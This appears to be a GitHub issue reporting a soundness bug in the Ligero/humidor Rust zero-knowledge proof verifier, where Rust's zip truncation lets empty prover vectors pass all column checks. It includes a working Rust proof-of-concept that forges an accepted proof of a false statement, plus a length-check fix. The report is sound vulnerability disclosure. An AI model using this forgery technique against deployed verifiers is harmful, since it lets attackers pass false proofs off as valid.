Skip to content

Soundness Issue (3) in Ligero/humidor: Sending an Empty Proof Causes The Verifier to Accept Trivially. #41

@rot256

Description

@rot256

Mentioned elsewhere, probably deserves its own issue...

The verify() method zips r3.Q (verifier-chosen, length t) with prover-controlled Vec fields from Round4 (u, ux, uy, uz, uadd, u0). Rust's zip truncates to the shorter iterator; .all() on empty returns true. A malicious prover sends empty vectors, making all column checks vacuously true.

The Bug

Every column check follows this pattern:

r3.Q.iter().zip(U.columns()).zip(r4.u).all(|..| ...)

The verifier never asserts r4.u.len() == r3.Q.len() (likewise for ux, uy, uz, uadd, u0).

With empty vectors all six column checks become vacuously true.

PoC

Proves 1 = 0. Circuit: a + b asserted zero, with inputs [1, 0]. No Constant/Mul gates, so badd = 0 and all polynomial-level targets are zero. Entire Round 2 is fabricated as zeros (+ valid codeword for v).

#[test]
fn poc_empty_round4_vectors_vacuous_column_checks() {
    use sha2::Sha256;
    use simple_arith_circuit::{Circuit, Op};
    type H = Sha256;

    let mut rng = AesRng::from_entropy();

    // Unsatisfiable: output = a + b, asserted == 0. Inputs [1, 0] => 1.
    let circuit: Circuit<TestField> = Circuit::new(
        2, 1, vec![Op::Add(0, 1)],
    );

    let fake_w = vec![TestField::ONE, TestField::ZERO];
    let prover = Prover::<_, H>::new(&mut rng, &circuit, &fake_w, None);
    let r0 = prover.ip.round0();
    let params = prover.ip.params();

    let (r1, fs_state) = make_r1::<_, H>(
        &params,
        prover.ip.shared_range().len(),
        prover.ip.shared_mask_range().len(),
        &prover.ckt_hash, &r0, &[],
    );

    // Fabricate entire Round 2: everything zero except v.
    let r2 = super::Round2 {
        v: params.random_codeword(&mut rng),
        qadd: Array1::<TestField>::zeros(2 * params.k + 1),
        qx: Array1::<TestField>::zeros(2 * params.k + 1),
        qy: Array1::<TestField>::zeros(2 * params.k + 1),
        qz: Array1::<TestField>::zeros(2 * params.k + 1),
        p0: Array1::<TestField>::zeros(2 * params.k + 1),
        qshared: Array1::<TestField>::zeros(
            prover.ip.shared_mask_range().len(),
        ),
    };

    let r3 = make_r3::<TestField, H>(&params, &fs_state, &r2);

    // Round 4: valid Merkle proof + empty blinding Vecs.
    let mut r4 = prover.ip.round4(r3.clone());
    r4.u = Vec::new();
    r4.ux = Vec::new();
    r4.uy = Vec::new();
    r4.uz = Vec::new();
    r4.uadd = Vec::new();
    r4.u0 = Vec::new();

    let mut public = super::Public::new(&circuit, None);
    assert!(super::verify::<TestField, H>(
        &mut public, &r0, r1, r2, r3, r4,
    ));
}

Fix

Assert r4.u.len() == r3.Q.len() (and same for ux, uy, uz, uadd, u0) in verify(). Reject if any length differs from t.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions